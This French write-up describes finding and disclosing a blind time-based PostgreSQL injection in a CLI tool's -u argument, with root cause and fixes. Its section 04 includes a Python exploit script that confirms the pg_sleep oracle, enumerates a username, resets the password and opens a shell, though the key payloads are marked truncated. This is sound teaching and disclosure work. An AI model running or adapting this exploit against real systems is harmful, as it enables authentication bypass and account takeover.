Vulnérabilité SQL Injection Blind Time-Based CLI Tool

Root Cause Analysis :
SQL Injection via un argument CLI

Étude de cas : identification, validation et démonstration d'impact d'une injection SQL blind (PostgreSQL) dans un outil CLI éditeur. L'objectif de ce write-up est de présenter la méthodologie d'analyse, l'explication de la cause racine et les mesures correctives.

DB

PostgreSQL

Signal

Timing Oracle

Réduire la barre de navigation

Preuve

Baseline vs Delay

(écart mesurable)

Impact

Auth Bypass

+ modification d'état

01.le Contexte

Lors d'une évaluation de sécurité sur une solution disposant d'une interface CLI, un comportement atypique a été observé sur le paramètre -u laissant supposer une injection possible via la construction dynamique d'une requête SQL.

  • Vecteur : injection SQL via un paramètre utilisateur passé à un outil CLI.
  • Type : blind time-based (oracle de temps via pg_sleep()).
  • Impact : contournement d'authentification et capacité de modification d'état (ex. changement de mot de passe) selon les droits du compte DB utilisé par l'application.
  • Cause racine : construction de requêtes SQL dynamiques par concaténation de chaînes, sans requêtes préparées ni validation stricte des arguments.
  • Correctif : paramétrisation (prepared statements), validation de schéma, durcissement des privilèges DB, tests de non-régression AppSec.

La première étape a consisté à établir une référence de temps (baseline) sur une commande légitime, puis à vérifier l'existence d'un oracle de timing permettant de confirmer une exécution SQL contrôlée.

02. Baseline (comportement nominal)

Commande standard (attendue : échec d'authentification). Temps d'exécution typique : ~0,7 s.

Commande CLI nominale - baseline de temps

03. Validation (Blind Time-Based)

Pour confirmer l'injection sans retour direct (blind), un test de temporisation a été utilisé. L'idée : forcer un délai côté DB et observer l'augmentation mesurable du temps total.

Principe
SELECT CASE
  WHEN <condition> THEN pg_sleep(<delay>)
  ELSE pg_sleep(0)
END;
Injection time-based - augmentation du temps d'exécution

Observation : le temps passe d'environ 0,7 s à environ 3,7 s lorsque la temporisation est déclenchée → l'injection est confirmée.

04. Stratégie d'exploitation (niveau conceptuel)

Une fois l'oracle de timing validé, la logique d'exploitation repose sur trois étapes :

  • Vérifier l'oracle : Condition simple (vrai/faux) → délai mesuré.
  • Extraire un indicateur : Énumération par itérations (ex. caractère par caractère) via le délai.
  • Démontrer l'impact : Modification contrôlée (preuve) en fonction des privilèges DB applicatifs.

Remarque : si un identifiant “stable” d'un compte privilégié est connu (ex. ID numérique), l'exploitation peut être drastiquement simplifiée. Dans ce write-up, l'approche progressive (blind) est conservée pour documenter la validation, les hypothèses et l'impact de façon reproductible.

Pseudo-code (extrait)
#!/usr/bin/python
import os
import time
import crypt

class bcolors:
	PLUS = '\033[92m[+] \033[0m'
	MOINS = '\033[91m[-] \033[0m'
	LETTER = '\033[94m -- [OK] \033[0m'
	WARNING = '\033[33m[!] \033[0m'

def ValidOrNot(payload):
    time1=time.time()
    os.system(payload)
    time2=time.time()-time1
    if (time2>1.5):
        return (1)
    else:
        return (0)
	
def VerifVuln():
    payload = "cli -u \"cli'; (SELECT CASE WHEN 1=1 THEN pg_sleep(1) ELSE pg_sleep(0) END); SELECT '1:password\" > /dev/null 2>&1"
    return (ValidOrNot(payload))

def Attack():
    i = 1;
    charList = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
    print bcolors.PLUS+"Recuperation d'un utilisateur"
    user = "";
    while i < 20:
        for char in charList:
            payload = "cli -u \"'; //Payload tronqué, réutilisation possible// /dev/null 2>&1" % (i, char);
            if (ValidOrNot(payload)):
                print bcolors.LETTER+"Letter Found : " + char
                user = user + char
                break
            else:
                if (char=="z"):
                    i = 20
                    break
        i = i+1
    print bcolors.PLUS+"Found User : %s" % (user)
    ModifPassword(user)

def ModifPassword(name):
    newpasswd = "password"
    newpasswdencrypt = crypt.crypt(newpasswd, 'test')
    payload = "cli -u \"'; //Payload tronqué, réutilisation possible// /dev/null 2>&1" % (newpasswdencrypt, name)
    print bcolors.PLUS+"Modification du mot de passe pour l'utilisateur : " + name
    print bcolors.WARNING+payload
    os.system(payload)
    print bcolors.PLUS+"Le nouveau mot de passe est \"%s\" pour l'utilisateur %s" % (newpasswd, name)
    payload = "cli -u %s:%s" % (name, newpasswd)
    print bcolors.PLUS+"Get a Shell prompt with : "+payload
    os.system(payload)

def main():
    print ""
    print "######## ##     ## ########  ##        #######  #### ########          ######  ##       #### "
    print "##        ##   ##  ##     ## ##       ##     ##  ##     ##            ##    ## ##        ##  "
    print "##         ## ##   ##     ## ##       ##     ##  ##     ##            ##       ##        ##  "
    print "######      ###    ########  ##       ##     ##  ##     ##    ####### ##       ##        ##  "
    print "##         ## ##   ##        ##       ##     ##  ##     ##            ##       ##        ##  "
    print "##        ##   ##  ##        ##       ##     ##  ##     ##            ##    ## ##        ##  "
    print "######## ##     ## ##        ########  #######  ####    ##             ######  ######## #### "
    print "version 1 by Tybbow"
    print ""
    print bcolors.PLUS+"Verification de la vulnerabilite"
    if (VerifVuln()):
        print bcolors.PLUS+"Vuln OK - Attack Mode pg_sleep engaged"
        Attack()
    else:
        print bcolors.MOINS+"Vuln Nok - Exit 0xdead"
	return (0xDEAD)
    
if __name__=='__main__':
    main()

05.Root Cause Analysis

La cause racine se situe dans la façon dont l'outil CLI construisait la requête SQL : l'argument utilisateur était concaténé dans une requête dynamique exécutée côté serveur, sans mécanisme robuste de requêtes préparées (paramétrées) et sans validation stricte du format attendu.

Facteurs aggravants typiques

  • Absence de prepared statements / paramétrisation.
  • Entrée CLI considérée comme “de confiance” → validation faible.
  • Privilèges DB applicatifs trop permissifs (dépend de l'implémentation).

06.Impact

Exécution illustrant la preuve d'impact (résultat/état modifié)

Responsible Disclosure :

Vulnérabilité identifiée en 2019 et traitée directement avec l'éditeur. Les éléments présentés ici sont anonymisés et publiés à des fins pédagogiques.